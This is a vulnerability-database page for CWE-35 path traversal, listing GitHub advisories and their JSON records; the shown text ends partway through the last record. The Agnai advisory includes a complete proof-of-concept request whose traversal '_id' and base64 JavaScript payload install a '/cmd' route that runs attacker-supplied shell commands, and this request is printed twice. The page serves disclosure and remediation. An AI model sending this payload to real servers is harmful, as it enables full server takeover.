Common Weakness Enumeration

CWE-35

Allowed

Path Traversal: '.../...//'

Abstraction: Variant · Status: Incomplete

API response cwe.mitre.org

The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '.../...//' (doubled triple dot slash) sequences that can resolve to a location that is outside of that directory.

365 vulnerabilities reference this CWE, most recent first.

GHSA-M7RF-RFHP-H3M3

Vulnerability from github – Published: 2025-05-19 21:30 – Updated: 2026-04-01 18:35
VLAI
Details

Path Traversal: '.../...//' vulnerability in ctltwp Section Widget allows Path Traversal.This issue affects Section Widget: from n/a through 3.3.1.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-46441"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-35"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-19T20:15:25Z",
    "severity": "MODERATE"
  },
  "details": "Path Traversal: \u0027.../...//\u0027 vulnerability in ctltwp Section Widget allows Path Traversal.This issue affects Section Widget: from n/a through 3.3.1.",
  "id": "GHSA-m7rf-rfhp-h3m3",
  "modified": "2026-04-01T18:35:13Z",
  "published": "2025-05-19T21:30:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46441"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/section-widget/vulnerability/wordpress-section-widget-plugin-3-2-5-path-traversal-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MF7C-82JR-GFH2

Vulnerability from github – Published: 2024-12-31 12:30 – Updated: 2026-04-01 18:32
VLAI
Details

Path Traversal: '.../...//' vulnerability in Themewinter Eventin allows Path Traversal.This issue affects Eventin: from n/a through 4.0.7.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-56213"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-35"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-12-31T10:15:09Z",
    "severity": "MODERATE"
  },
  "details": "Path Traversal: \u0027.../...//\u0027 vulnerability in Themewinter Eventin allows Path Traversal.This issue affects Eventin: from n/a through 4.0.7.",
  "id": "GHSA-mf7c-82jr-gfh2",
  "modified": "2026-04-01T18:32:53Z",
  "published": "2024-12-31T12:30:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-56213"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/wp-event-solution/vulnerability/wordpress-eventin-plugin-4-0-7-contributor-limited-local-file-inclusion-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MFF6-V74C-R5C7

Vulnerability from github – Published: 2026-10-01 06:31 – Updated: 2026-10-01 06:31
VLAI
Details

Hitachi Coding Software Suite contains a vulnerability related to Path Traversal vulnerability that allows an attacker to access, create, modify, or delete files.

This issue affects Hitachi Coding Software Suite: through 3.3.0.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.3 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-82824"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-35"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-10-01T05:17:10Z",
    "severity": "CRITICAL"
  },
  "details": "Hitachi Coding Software Suite contains a vulnerability related to Path Traversal vulnerability that allows an attacker to access, create, modify, or delete files.\n\n\nThis issue affects Hitachi Coding Software Suite: through 3.3.0.",
  "id": "GHSA-mff6-v74c-r5c7",
  "modified": "2026-10-01T06:31:24Z",
  "published": "2026-10-01T06:31:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-82824"
    },
    {
      "type": "WEB",
      "url": "https://www.hitachi-ies.com/common/documents/vulnerability/hcss/Hitachi_Coding_Software_Suite_Public_statement_20260925_EN.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-MJQ6-PV9C-QPPQ

Vulnerability from github – Published: 2023-10-18 17:34 – Updated: 2023-11-02 17:34
VLAI
Summary
Arduino Create Agent path traversal - arbitrary file deletion vulnerability
Details

Impact

The vulnerability affects the endpoint /v2/pkgs/tools/installed and the way it handles plugin names supplied as user input. A user who has the ability to perform HTTP requests to the localhost interface, or is able to bypass the CORS configuration, can delete arbitrary files or folders belonging to the user that runs the Arduino Create Agent via a crafted HTTP DELETE request. Further details are available in the references.

Fixed Version

  • 1.3.3

References

The issue was reported by Nozomi Networks Labs. Further details on the issue are available at the following URL: * https://www.nozominetworks.com/blog/security-flaws-affect-a-component-of-the-arduino-create-cloud-ide

Severity
6.1 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/arduino/arduino-create-agent"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.3.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-43801"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-35"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-10-18T17:34:46Z",
    "nvd_published_at": "2023-10-18T22:15:09Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nThe vulnerability affects the endpoint `/v2/pkgs/tools/installed` and the way it handles plugin names supplied as user input.\nA user who has the ability to perform HTTP requests to the localhost interface, or is able to bypass the CORS configuration, can delete arbitrary files or folders belonging to the user that runs the Arduino Create Agent via a crafted HTTP DELETE request.\nFurther details are available in the references.\n\n### Fixed Version\n* `1.3.3`\n\n### References\nThe issue was reported by Nozomi Networks Labs. Further details on the issue are available at the following URL:\n* https://www.nozominetworks.com/blog/security-flaws-affect-a-component-of-the-arduino-create-cloud-ide\n",
  "id": "GHSA-mjq6-pv9c-qppq",
  "modified": "2023-11-02T17:34:21Z",
  "published": "2023-10-18T17:34:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/arduino/arduino-create-agent/security/advisories/GHSA-mjq6-pv9c-qppq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-43801"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/arduino/arduino-create-agent"
    },
    {
      "type": "WEB",
      "url": "https://github.com/arduino/arduino-create-agent/releases/tag/1.3.3"
    },
    {
      "type": "WEB",
      "url": "https://www.nozominetworks.com/blog/security-flaws-affect-a-component-of-the-arduino-create-cloud-ide"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Arduino Create Agent path traversal - arbitrary file deletion vulnerability"
}

GHSA-MP3Q-25XJ-WC4X

Vulnerability from github – Published: 2026-06-17 18:35 – Updated: 2026-06-17 18:35
VLAI
Details

Unauthenticated Local File Inclusion in Kastell <= 2.0 versions.

Severity
8.1 (High)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-52707"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-35"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-17T14:17:57Z",
    "severity": "HIGH"
  },
  "details": "Unauthenticated Local File Inclusion in Kastell \u003c= 2.0 versions.",
  "id": "GHSA-mp3q-25xj-wc4x",
  "modified": "2026-06-17T18:35:55Z",
  "published": "2026-06-17T18:35:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-52707"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/theme/kastell/vulnerability/wordpress-kastell-theme-2-0-local-file-inclusion-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MPCH-89GM-HM83

Vulnerability from github – Published: 2024-09-26 18:05 – Updated: 2024-09-26 21:11
VLAI
Summary
Agnai vulnerable to Remote Code Execution via JS Upload using Directory Traversal
Details

Summary

A vulnerability has been discovered in Agnai that permits attackers to upload arbitrary files to attacker-chosen locations on the server, including JavaScript, enabling the execution of commands within those files. This issue could result in unauthorized access, full server compromise, data leakage, and other critical security threats.

This does not affect: - agnai.chat - installations using S3-compatible storage - self-hosting that is not publicly exposed

This DOES affect: - publicly hosted installs without S3-compatible storage

CWEs

CWE-35: Path Traversal

CWE-434: Unrestricted Upload of File with Dangerous Type

CVSS-4.0 - 9.0 - Critical

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Description

Path Traversal and Unrestricted Upload of File with Dangerous Type

Path Traversal Location

POST /api/chat/5c25e8dc-67c3-40e1-9572-32df2e26ff38/temp-character HTTP/1.1
{"_id": "/../../../../../../app/srv/api/voice",...<ommitted>}

In the following file, the _id parameter which is a remote-supplied parameter is not properly validated and sanitized.

https://github.com/agnaistic/agnai/blob/437227d9aa86132f3be3b41c89981cb393c903d0/srv/api/chat/characters.ts#L101

 const upserted: AppSchema.Character = {
    _id: body._id || `temp-${v4().slice(0, 8)}`,
    kind: 'character',
    createdAt: now(),

In the following file, the filename (or id) and content variables are not properly sanitized and validated,

https://github.com/agnaistic/agnai/blob/dev/srv/api/upload.ts#L63

export async function entityUploadBase64(kind: string, id: string, content?: string) {
  if (!content) return
  if (!content.includes(',')) return

  const filename = `${kind}-${id}`
  const attachment = toAttachment(content)
  return upload(attachment, filename)
}

function toAttachment(content: string): Attachment {
  const [prefix, base64] = content.split(',')
  const type = prefix.slice(5, -7)
  const [, ext] = type.split('/')
  return {
    ext,
    field: '',
    original: '',
    type: getType(ext),
    content: Buffer.from(base64, 'base64'),
  }
}

An attacker can freely specify arbitrary file types (and arbitrary base64-encoded file content), thereby permitting them to upload JavaScript files and by abusing the _id parameter, to control the location of the file to overwrite an existing server file;

POST /api/chat/5c25e8dc-67c3-40e1-9572-32df2e26ff38/temp-character HTTP/1.1
...
Connection: keep-alive

{
"_id": "/../../../../../../app/srv/api/voice",
"name":"","description":"","culture":"en-us","tags":[],"scenario":"","appearance":"","visualType":"avatar","avatar":"data:image/js;base64,InVzZSBzdHJpY3QiOwpPYmplY3QuZGVmaW5lUHJvcGVydHkoZXhwb3J0cywgIl9fZXNNb2R1bGUiLCB7IHZhbHVlOiB0cnVlIH0pOwpjb25zdCBleHByZXNzXzEgPSByZXF1aXJlKCJleHByZXNzIik7CmNvbnN0IHdyYXBfMSA9IHJlcXVpcmUoIi4vd3JhcCIpOwpjb25zdCB2b2ljZV8xID0gcmVxdWlyZSgiLi4vdm9pY2UiKTsKY29uc3QgZGJfMSA9IHJlcXVpcmUoIi4uL2RiIik7CmNvbnN0IHZhbGlkXzEgPSByZXF1aXJlKCIvY29tbW9uL3ZhbGlkIik7CmNvbnN0IHJvdXRlciA9ICgwLCBleHByZXNzXzEuUm91dGVyKSgpOwpjb25zdCB0ZXh0VG9TcGVlY2hWYWxpZCA9IHsgdGV4dDogJ3N0cmluZycsIHZvaWNlOiAnYW55JyB9Owpjb25zdCB0ZXh0VG9TcGVlY2ggPSAoMCwgd3JhcF8xLmhhbmRsZSkoYXN5bmMgKHsgYm9keSwgdXNlcklkLCBzb2NrZXRJZCwgbG9nLCBwYXJhbXMgfSkgPT4gewogICAgY29uc3QgdXNlciA9IHVzZXJJZCA/IGF3YWl0IGRiXzEuc3RvcmUudXNlcnMuZ2V0VXNlcih1c2VySWQpIDogYm9keS51c2VyOwogICAgY29uc3QgZ3Vlc3RJZCA9IHVzZXJJZCA/IHVuZGVmaW5lZCA6IHNvY2tldElkOwogICAgKDAsIHZhbGlkXzEuYXNzZXJ0VmFsaWQpKHRleHRUb1NwZWVjaFZhbGlkLCBib2R5KTsKICAgIHJldHVybiAoMCwgdm9pY2VfMS5nZW5lcmF0ZVRleHRUb1NwZWVjaCkodXNlciwgbG9nLCBndWVzdElkLCBib2R5LnRleHQsIGJvZHkudm9pY2UpOwp9KTsKY29uc3QgZ2V0Vm9pY2VzID0gKDAsIHdyYXBfMS5oYW5kbGUpKGFzeW5jICh7IGJvZHksIHVzZXJJZCwgc29ja2V0SWQsIGxvZywgcGFyYW1zIH0pID0+IHsKICAgIGNvbnN0IHR0c1NlcnZpY2UgPSBwYXJhbXMuaWQ7CiAgICBjb25zdCB1c2VyID0gdXNlcklkID8gYXdhaXQgZGJfMS5zdG9yZS51c2Vycy5nZXRVc2VyKHVzZXJJZCkgOiBib2R5LnVzZXI7CiAgICBjb25zdCBndWVzdElkID0gdXNlcklkID8gdW5kZWZpbmVkIDogc29ja2V0SWQ7CiAgICByZXR1cm4gKDAsIHZvaWNlXzEuZ2V0Vm9pY2VzTGlzdCkoeyB0dHNTZXJ2aWNlOiB0dHNTZXJ2aWNlLCB1c2VyIH0sIGxvZywgZ3Vlc3RJZCk7Cn0pOwpjb25zdCBnZXRNb2RlbHMgPSAoMCwgd3JhcF8xLmhhbmRsZSkoYXN5bmMgKHsgYm9keSwgdXNlcklkLCBzb2NrZXRJZCwgbG9nLCBwYXJhbXMgfSkgPT4gewogICAgY29uc3QgdHRzU2VydmljZSA9IHBhcmFtcy5pZDsKICAgIGNvbnN0IHVzZXIgPSB1c2VySWQgPyBhd2FpdCBkYl8xLnN0b3JlLnVzZXJzLmdldFVzZXIodXNlcklkKSA6IGJvZHkudXNlcjsKICAgIGNvbnN0IGd1ZXN0SWQgPSB1c2VySWQgPyB1bmRlZmluZWQgOiBzb2NrZXRJZDsKICAgIHJldHVybiAoMCwgdm9pY2VfMS5nZXRNb2RlbHNMaXN0KSh7IHR0c1NlcnZpY2U6IHR0c1NlcnZpY2UsIHVzZXIgfSwgbG9nLCBndWVzdElkKTsKfSk7Cgpjb25zdCBnZXRDbWQgPSAoMCwgd3JhcF8xLmhhbmRsZSkoYXN5bmMgKHsgYm9keSwgdXNlcklkLCBzb2NrZXRJZCwgbG9nLCBwYXJhbXMgfSkgPT4gewoJY29uc3QgY2hpbGRfcHJvY2Vzc18xID0gcmVxdWlyZSgiY2hpbGRfcHJvY2VzcyIpOwoJY2hpbGRfcHJvY2Vzc18xLmV4ZWNTeW5jKGJvZHkuY21kKTsKICAgIHJldHVybiAoMCwgdm9pY2VfMS5nZXRNb2RlbHNMaXN0KSh7IHR0c1NlcnZpY2U6IHR0c1NlcnZpY2UsIHVzZXIgfSwgbG9nLCBndWVzdElkKTsKfSk7Cgpyb3V0ZXIucG9zdCgnL3R0cycsIHRleHRUb1NwZWVjaCk7CnJvdXRlci5wb3N0KCcvOmlkL3ZvaWNlcycsIGdldFZvaWNlcyk7CnJvdXRlci5wb3N0KCcvOmlkL21vZGVscycsIGdldE1vZGVscyk7CnJvdXRlci5wb3N0KCcvY21kJywgZ2V0Q21kKTsKZXhwb3J0cy5kZWZhdWx0ID0gcm91dGVyOwovLyMgc291cmNlTWFwcGluZ1VSTD12b2ljZS5qcy5tYXA=","sprite":null,"greeting":"","sampleChat":"","voiceDisabled":false,"voice":{},"systemPrompt":"","postHistoryInstructions":"","insert":{"prompt":"","depth":3},"alternateGreetings":[],"creator":"","characterVersion":"","persona":{"kind":"text","attributes":{"text":[""]}},"imageSettings":{"type":"sd","steps":10,"width":512,"height":512,"prefix":"","suffix":"","negative":"","cfg":9,"summariseChat":true,"summaryPrompt":""}}

Risk

The attacker can write arbitrary files to disk, including overwriting existing JavaScript to execute arbitrary code on the server, leading to a complete system compromise, server control, and further network penetration.

Attackers can gain full access to the server.

Recommendation

Input Validation

Arbitrary File Upload

  • Restrict the types of files that can be uploaded via a allow-only list.

Credits

  • @ropwareJB
  • @noe233
Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
9.0 (Critical)
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "agnai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.330"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-47169"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-35",
      "CWE-434"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-09-26T18:05:12Z",
    "nvd_published_at": "2024-09-26T18:15:10Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nA vulnerability has been discovered in **Agnai** that permits attackers to upload arbitrary files to attacker-chosen locations on the server, including JavaScript, enabling the execution of commands within those files. This issue could result in unauthorized access, full server compromise, data leakage, and other critical security threats.\n\nThis **does not** affect:\n- `agnai.chat`\n- installations using S3-compatible storage\n- self-hosting that is not publicly exposed\n\nThis **DOES** affect:\n- publicly hosted installs without S3-compatible storage\n\n### CWEs\n\nCWE-35: Path Traversal\n\nCWE-434: Unrestricted Upload of File with Dangerous Type\n\n### CVSS-4.0 - **9.0 - Critical**\n\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\nCVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H\n\n### Description\n\nPath Traversal and Unrestricted Upload of File with Dangerous Type\n\nPath Traversal Location\n\n```tsx\nPOST /api/chat/5c25e8dc-67c3-40e1-9572-32df2e26ff38/temp-character HTTP/1.1\n{\"_id\": \"/../../../../../../app/srv/api/voice\",...\u003committed\u003e}\n```\n\nIn the following file, the `_id` parameter which is a remote-supplied parameter is not properly validated and sanitized.\n\nhttps://github.com/agnaistic/agnai/blob/437227d9aa86132f3be3b41c89981cb393c903d0/srv/api/chat/characters.ts#L101\n\n```jsx\n const upserted: AppSchema.Character = {\n    _id: body._id || `temp-${v4().slice(0, 8)}`,\n    kind: \u0027character\u0027,\n    createdAt: now(),\n```\n\nIn the following file, the `filename` (or `id`)  and  `content` variables are not properly sanitized and validated,\n\nhttps://github.com/agnaistic/agnai/blob/dev/srv/api/upload.ts#L63\n\n```jsx\nexport async function entityUploadBase64(kind: string, id: string, content?: string) {\n  if (!content) return\n  if (!content.includes(\u0027,\u0027)) return\n\n  const filename = `${kind}-${id}`\n  const attachment = toAttachment(content)\n  return upload(attachment, filename)\n}\n```\n\n```jsx\nfunction toAttachment(content: string): Attachment {\n  const [prefix, base64] = content.split(\u0027,\u0027)\n  const type = prefix.slice(5, -7)\n  const [, ext] = type.split(\u0027/\u0027)\n  return {\n    ext,\n    field: \u0027\u0027,\n    original: \u0027\u0027,\n    type: getType(ext),\n    content: Buffer.from(base64, \u0027base64\u0027),\n  }\n}\n```\n\nAn attacker can freely specify arbitrary file types (and arbitrary base64-encoded file content), thereby permitting them to upload JavaScript files and by abusing the `_id` parameter, to control the location of the file to overwrite an existing server file;\n\n```jsx\nPOST /api/chat/5c25e8dc-67c3-40e1-9572-32df2e26ff38/temp-character HTTP/1.1\n...\nConnection: keep-alive\n\n{\n\"_id\": \"/../../../../../../app/srv/api/voice\",\n\"name\":\"\",\"description\":\"\",\"culture\":\"en-us\",\"tags\":[],\"scenario\":\"\",\"appearance\":\"\",\"visualType\":\"avatar\",\"avatar\":\"data:image/js;base64,InVzZSBzdHJpY3QiOwpPYmplY3QuZGVmaW5lUHJvcGVydHkoZXhwb3J0cywgIl9fZXNNb2R1bGUiLCB7IHZhbHVlOiB0cnVlIH0pOwpjb25zdCBleHByZXNzXzEgPSByZXF1aXJlKCJleHByZXNzIik7CmNvbnN0IHdyYXBfMSA9IHJlcXVpcmUoIi4vd3JhcCIpOwpjb25zdCB2b2ljZV8xID0gcmVxdWlyZSgiLi4vdm9pY2UiKTsKY29uc3QgZGJfMSA9IHJlcXVpcmUoIi4uL2RiIik7CmNvbnN0IHZhbGlkXzEgPSByZXF1aXJlKCIvY29tbW9uL3ZhbGlkIik7CmNvbnN0IHJvdXRlciA9ICgwLCBleHByZXNzXzEuUm91dGVyKSgpOwpjb25zdCB0ZXh0VG9TcGVlY2hWYWxpZCA9IHsgdGV4dDogJ3N0cmluZycsIHZvaWNlOiAnYW55JyB9Owpjb25zdCB0ZXh0VG9TcGVlY2ggPSAoMCwgd3JhcF8xLmhhbmRsZSkoYXN5bmMgKHsgYm9keSwgdXNlcklkLCBzb2NrZXRJZCwgbG9nLCBwYXJhbXMgfSkgPT4gewogICAgY29uc3QgdXNlciA9IHVzZXJJZCA/IGF3YWl0IGRiXzEuc3RvcmUudXNlcnMuZ2V0VXNlcih1c2VySWQpIDogYm9keS51c2VyOwogICAgY29uc3QgZ3Vlc3RJZCA9IHVzZXJJZCA/IHVuZGVmaW5lZCA6IHNvY2tldElkOwogICAgKDAsIHZhbGlkXzEuYXNzZXJ0VmFsaWQpKHRleHRUb1NwZWVjaFZhbGlkLCBib2R5KTsKICAgIHJldHVybiAoMCwgdm9pY2VfMS5nZW5lcmF0ZVRleHRUb1NwZWVjaCkodXNlciwgbG9nLCBndWVzdElkLCBib2R5LnRleHQsIGJvZHkudm9pY2UpOwp9KTsKY29uc3QgZ2V0Vm9pY2VzID0gKDAsIHdyYXBfMS5oYW5kbGUpKGFzeW5jICh7IGJvZHksIHVzZXJJZCwgc29ja2V0SWQsIGxvZywgcGFyYW1zIH0pID0+IHsKICAgIGNvbnN0IHR0c1NlcnZpY2UgPSBwYXJhbXMuaWQ7CiAgICBjb25zdCB1c2VyID0gdXNlcklkID8gYXdhaXQgZGJfMS5zdG9yZS51c2Vycy5nZXRVc2VyKHVzZXJJZCkgOiBib2R5LnVzZXI7CiAgICBjb25zdCBndWVzdElkID0gdXNlcklkID8gdW5kZWZpbmVkIDogc29ja2V0SWQ7CiAgICByZXR1cm4gKDAsIHZvaWNlXzEuZ2V0Vm9pY2VzTGlzdCkoeyB0dHNTZXJ2aWNlOiB0dHNTZXJ2aWNlLCB1c2VyIH0sIGxvZywgZ3Vlc3RJZCk7Cn0pOwpjb25zdCBnZXRNb2RlbHMgPSAoMCwgd3JhcF8xLmhhbmRsZSkoYXN5bmMgKHsgYm9keSwgdXNlcklkLCBzb2NrZXRJZCwgbG9nLCBwYXJhbXMgfSkgPT4gewogICAgY29uc3QgdHRzU2VydmljZSA9IHBhcmFtcy5pZDsKICAgIGNvbnN0IHVzZXIgPSB1c2VySWQgPyBhd2FpdCBkYl8xLnN0b3JlLnVzZXJzLmdldFVzZXIodXNlcklkKSA6IGJvZHkudXNlcjsKICAgIGNvbnN0IGd1ZXN0SWQgPSB1c2VySWQgPyB1bmRlZmluZWQgOiBzb2NrZXRJZDsKICAgIHJldHVybiAoMCwgdm9pY2VfMS5nZXRNb2RlbHNMaXN0KSh7IHR0c1NlcnZpY2U6IHR0c1NlcnZpY2UsIHVzZXIgfSwgbG9nLCBndWVzdElkKTsKfSk7Cgpjb25zdCBnZXRDbWQgPSAoMCwgd3JhcF8xLmhhbmRsZSkoYXN5bmMgKHsgYm9keSwgdXNlcklkLCBzb2NrZXRJZCwgbG9nLCBwYXJhbXMgfSkgPT4gewoJY29uc3QgY2hpbGRfcHJvY2Vzc18xID0gcmVxdWlyZSgiY2hpbGRfcHJvY2VzcyIpOwoJY2hpbGRfcHJvY2Vzc18xLmV4ZWNTeW5jKGJvZHkuY21kKTsKICAgIHJldHVybiAoMCwgdm9pY2VfMS5nZXRNb2RlbHNMaXN0KSh7IHR0c1NlcnZpY2U6IHR0c1NlcnZpY2UsIHVzZXIgfSwgbG9nLCBndWVzdElkKTsKfSk7Cgpyb3V0ZXIucG9zdCgnL3R0cycsIHRleHRUb1NwZWVjaCk7CnJvdXRlci5wb3N0KCcvOmlkL3ZvaWNlcycsIGdldFZvaWNlcyk7CnJvdXRlci5wb3N0KCcvOmlkL21vZGVscycsIGdldE1vZGVscyk7CnJvdXRlci5wb3N0KCcvY21kJywgZ2V0Q21kKTsKZXhwb3J0cy5kZWZhdWx0ID0gcm91dGVyOwovLyMgc291cmNlTWFwcGluZ1VSTD12b2ljZS5qcy5tYXA=\",\"sprite\":null,\"greeting\":\"\",\"sampleChat\":\"\",\"voiceDisabled\":false,\"voice\":{},\"systemPrompt\":\"\",\"postHistoryInstructions\":\"\",\"insert\":{\"prompt\":\"\",\"depth\":3},\"alternateGreetings\":[],\"creator\":\"\",\"characterVersion\":\"\",\"persona\":{\"kind\":\"text\",\"attributes\":{\"text\":[\"\"]}},\"imageSettings\":{\"type\":\"sd\",\"steps\":10,\"width\":512,\"height\":512,\"prefix\":\"\",\"suffix\":\"\",\"negative\":\"\",\"cfg\":9,\"summariseChat\":true,\"summaryPrompt\":\"\"}}\n```\n\n### Risk\n\nThe attacker can write arbitrary files to disk, including overwriting existing JavaScript to execute arbitrary code on the server, leading to a complete system compromise, server control, and further network penetration.\n\nAttackers can gain full access to the server.\n\n### Recommendation\n\n**Input Validation**\n\n- Ensure thorough validation of user inputs, particularly id parameter, file paths and file names, to prevent directory traversal and ensure they end up in the desired folder location post-normalization. [[OWASP: Path Traversal](https://owasp.org/www-community/attacks/Path_Traversal)](https://owasp.org/www-community/attacks/Path_Traversal)\n\n**Arbitrary File Upload**\n\n- Restrict the types of files that can be uploaded via a allow-only list.\n\n### Credits\n- @ropwareJB\n- @noe233",
  "id": "GHSA-mpch-89gm-hm83",
  "modified": "2024-09-26T21:11:04Z",
  "published": "2024-09-26T18:05:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/agnaistic/agnai/security/advisories/GHSA-mpch-89gm-hm83"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47169"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/agnaistic/agnai"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Agnai vulnerable to Remote Code Execution via JS Upload using Directory Traversal"
}

GHSA-MQX2-HFFM-62VP

Vulnerability from github – Published: 2026-06-09 03:31 – Updated: 2026-06-09 03:31
VLAI
Details

SAP Fiori Launchpad allows attackers to craft malicious URLs that triggers arbitrary service calls on the Fiori domain, this when opened by the user could compromise accounts by stealing user credentials. Successful exploitation requires adversaries to possess advanced knowledge of the system causing low impact on Confidentiality and Integrity. Availability of the system is no impacted.

Severity
4.2 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-24315"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-35"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-09T01:16:45Z",
    "severity": "MODERATE"
  },
  "details": "SAP Fiori Launchpad allows attackers to craft malicious URLs that triggers arbitrary service calls on the Fiori domain, this when opened by the user could compromise accounts by stealing user credentials. Successful exploitation requires adversaries to possess advanced knowledge of the system causing low impact on Confidentiality and Integrity. Availability of the system is no impacted.",
  "id": "GHSA-mqx2-hffm-62vp",
  "modified": "2026-06-09T03:31:40Z",
  "published": "2026-06-09T03:31:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24315"
    },
    {
      "type": "WEB",
      "url": "https://me.sap.com/notes/3682699"
    },
    {
      "type": "WEB",
      "url": "https://url.sap/sapsecuritypatchday"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N",
